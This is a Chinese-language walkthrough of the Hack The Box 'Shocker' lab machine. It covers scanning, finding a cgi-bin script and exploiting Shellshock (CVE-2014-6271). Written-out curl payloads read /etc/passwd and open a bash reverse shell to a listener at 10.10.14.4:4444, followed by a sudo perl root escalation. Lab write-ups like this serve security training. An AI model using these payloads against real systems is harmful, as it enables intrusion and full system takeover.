HTB靶场系列之Shocker通关攻略
2022-10-3 15:15:30 Author: Matrix1024(查看原文) 阅读量:13 收藏

使用Nmap对靶机地址进行端口嗅探,发现其开放80、2222端口,操作系统为Linux。

使用searchsploit对SSH版本进行漏洞发现,发现存在用户名枚举漏洞,使用MSF模块进行枚举,直到获取flag都未能枚举出用户信息。

查看Web服务,为显示“Don't Bug Me”的静态页面。

使用Dirb对http://10.129.104.94/进行目录扫描,仅发现以下三个结果,其中http://10.129.104.94/cgi-bin/为403的目录。

搜索cgi-bin相关漏洞,未发现可以利用的漏洞。百度发现以下信息。

cgi-bin

CGI程序不能放在任意的目录下,只能放在CGI-BIN目录下。有的虚拟主机系统只提供一个公用的CGI-BIN目录,放置一些常用 的CGI程序供虚拟主机用户使用,这对用户不够方便,因为用户经常需要放置自己编制的CGI程序。

CGI程序在linux和windows操作系统上都能运行。这些程序一般要放在服务器上(比如tomcat、busybox等),远程访问服务器时,这些程序会自动运行。

最终对cgi-bin/目录进行目录扫描,发现存在user.sh文件,下载后查看,他是一个测试脚本,返回了测试时间且为下载请求时的时间。确定其是一个可运行的sh脚本。

尝试进行破壳漏洞验证,正常返回/etc/passwd文件信息,说明靶机存在破壳漏洞。

curl -H 'x: () { :;}; a=`/bin/cat /etc/passwd`; echo $a' 'http://10.129.104.94/cgi-bin/user.sh' -I

利用破壳漏洞进行反弹shell。

curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' 'http://10.129.104.94/cgi-bin/user.sh' -I

NC监听4444端口,收到shell。

获取user.txt。

执行sudo -l命令,发现/usr/bin/perl具备root免密执行权限,下一步利用perl进行提权操作。

sudo /usr/bin/perl -e "exec('/bin/sh')

获取root.txt。

sudo -l提权方式是Hack The Box里面非常经典的提权方式之一。

5.1 CVE-2014-6271 “破壳“ 漏洞

 CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中,只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞,获取目标系统当前Bash运行用户相同权限的shell接口。

在Shocker靶场中,通过目录扫描发现10.129.104.94/cgi-bin/user.sh地址,查看user.sh,它是一个测试脚本,并可以随时返回测试时间,该脚本即符合与Bash相交互的应用与服务。

5.1.1 漏洞验证

env x='() { :;}; echo vulnerable' /bin/bash –c "echo This is a test"

5.1.2漏洞利用

# 验证curl -H 'x: () { :;}; a=`/bin/cat /etc/passwd`; echo $a' 'http://10.129.104.94/cgi-bin/user.sh' -I# 反弹curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' 'http://10.129.104.94/cgi-bin/user.sh' -I

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485116&idx=1&sn=cb349d2b94c289acc32b7a82a218efe2&chksm=c06e69d9f719e0cfb349c92e52987f21e63fe3f5b331549381d6f6d9fbec6f8868187369ecdd#rd
如有侵权请联系:admin#unsafe.sh